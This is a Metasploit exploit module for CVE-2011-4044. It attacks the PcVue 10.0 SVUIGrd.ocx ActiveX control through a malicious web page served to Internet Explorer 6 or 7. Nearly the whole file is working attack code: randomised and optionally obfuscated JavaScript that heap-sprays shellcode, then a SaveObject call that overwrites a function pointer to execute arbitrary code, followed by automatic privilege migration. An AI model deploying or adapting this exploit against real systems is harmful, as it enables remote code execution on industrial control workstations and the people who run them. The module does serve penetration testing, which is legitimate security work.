##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability",
      'Description'    => %q{
        This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0.
        By setting a dword value for the SaveObject() or LoadObject(), an attacker can
        overwrite a function pointer and execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma', # original find
          'mr_me <steventhomasseeley[at]gmail.com>',  # msf module
          'TecR0c <roccogiovannicalvi[at]gmail.com >',# msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-4044' ],
          [ 'OSVDB', '77561' ],
          [ 'BID', '49795' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/pcvue_1-adv.txt' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'           => 1024,
          'BadChars'        => "\x00\x0a\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            #IE 6/7 on Widnows XP and Vista
            'Internet Explorer 6 / Internet Explorer 7',
            {
              'Ret'    => 0x0a0a0a0a,
              'Offset' => 1000
            }
          ]
        ],
      'DisclosureDate' => '2011-10-05',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
          OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),
        ])
  end

  def on_request_uri(cli, request)

    #If not IE, we don't continue
    agent = request.headers['User-Agent']
    if agent !~ /MSIE [6|7]\.0/
      print_error("Target not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops      = Rex::Text.to_unescape([target.ret].pack('V'))
    ret       = "0x%08x" % target.ret

    blocksize = 0x50000
    fillto    = 200

    # Randomize the javascript variable names
    obj_name     = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_ret        = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)
    j_txt        = rand_text_alpha(rand(8) + 4)
    randnop      = rand_text_alpha(rand(100) + 1)

    js = <<-EOS
var #{j_shellcode} = unescape('#{shellcode}');
var #{randnop} = "#{nops}";
var #{j_nops} = unescape(#{randnop});
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while(#{j_nops}.length < #{j_slackspace}) {
  #{j_nops} += #{j_nops};
}
var #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
var #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while((#{j_block}.length + #{j_slackspace}) < #{blocksize}) {
  #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
}

#{j_memory} = new Array();
for(#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++){
  #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode} ;
}

function main(){
  #{obj_name}.SaveObject("#{j_txt}.txt", #{ret}, 0);
}
EOS

    js = js.gsub(/^ {4}/, '')

    #JS obfuscation on demand
    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
      main_sym = js.sym('main')
    else
      main_sym = "main"
    end

    content = <<-EOS
<html>
<body>
<object classid='clsid:2BBD45A5-28AE-11D1-ACAC-0800170967D9' id='#{obj_name}' ></object>
<script language='javascript'>
#{js}
#{main_sym}();
</script>
</body>
</html>
EOS

    #Remove the extra tabs from content
    content = content.gsub(/^ {4}/, '')

    print_status("Sending #{self.name}")
    send_response(cli, content, {'Content-Type'=>'text/html'})
  end
end


=begin
Tested successfully on the following platforms:
 - PcVue 10.0 (SVUIGrd.ocx v1.5.1.0) on Internet Explorer 6 & 7, Windows XP SP3

Class SVUIGrdCtrl
ProgID: SV.UIGrdCtrl.1
GUID: {2BBD45A5-28AE-11D1-ACAC-0800170967D9}
Number of Interfaces: 1
Default Interface: ISVUIGrd
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
=end
